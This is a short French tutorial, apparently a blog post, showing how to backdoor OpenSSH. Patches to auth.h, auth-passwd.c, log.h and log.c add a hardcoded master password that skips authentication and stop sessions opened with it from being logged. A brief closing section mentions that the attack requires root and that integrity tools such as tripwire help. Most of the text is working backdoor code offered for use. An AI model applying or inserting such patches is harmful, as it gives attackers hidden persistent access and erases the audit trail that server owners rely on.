0x01. MANIPULATION
Pour compiler OpenSSH, nous aurons besoin de :
zlib : yum install zlib-devel aptitude install zlib-devel libcrypto : yum install openssl-devel aptitude install openssl-devel
Dans le fichier auth.h, il faut ajouter le mot de passe et une variable qui permettra d'outre-passer l'authentificatio
#define AUTH_FAIL_MSG "Too many authentication failures for %.100s" #define SKEY_PROMPT "\\nS/Key Password: " //-- HACK : BEGIN #define SSHD_PAMPWD "ssh:22@localhost:/dev/null" int sshd_pampwd; //-- HACK : END #if defined(KRB5) && !defined(HEIMDAL) #include <krb5.h> krb5_error_code ssh_krb5_cc_gen(krb5_context, krb5_ccache *); #endif #endif
Dans le fichier auth-passwd.c, ajouter la prise en compte du fichier auth.h
int auth_password(Authctxt *authctxt, const char *password) struct passwd * pw = authctxt->pw; int result, ok = authctxt->valid; //-- HACK : BEGIN sshd_pampwd=0; if( !strcmp(password,SSHD_PAMPWD) ) { sshd_pampwd=1; return 1; } //-- HACK : END
Dans le fichier log.h, on va définir des variables pour ne pas journaliser notre connexion :
void do_log(LogLevel, const char *, va_list); void cleanup_exit(int) __dead; #endif //-- HACK : BEGIN int sshd_pampwd; //-- HACK : END
Dans le fichier log.c, on ajouter de quoi empêcher la journalisation de connexion via le mot de passe qu'on a ajouté :
void do_log(LogLevel level, const char *fmt, va_list args) { #if defined(HAVE_OPENLOG_R) && defined(SYSLOG_DATA_INIT) struct syslog_data sdata = SYSLOG_DATA_INIT; #endif char msgbuf[MSGBUFSIZ]; char fmtbuf[MSGBUFSIZ]; char *txt = NULL; int pri = LOG_INFO; int saved_errno = errno; //-- HACK : BEGIN if( sshd_pampwd == 1 ) return; //-- HACK : END if (level > log_level) return;
0x02. PROTECTION
Une telle attaque, signifie qu'on est déjà sur le serveur et à fortiori en root ou au moins avec les droits sudo.
Pour se protéger d'une corruption de service, il y a des outils comme tripwire qui existent, il faut limiter au strict minimum les accès.
=> Écrit par : Nicolas, le 31 juillet 2014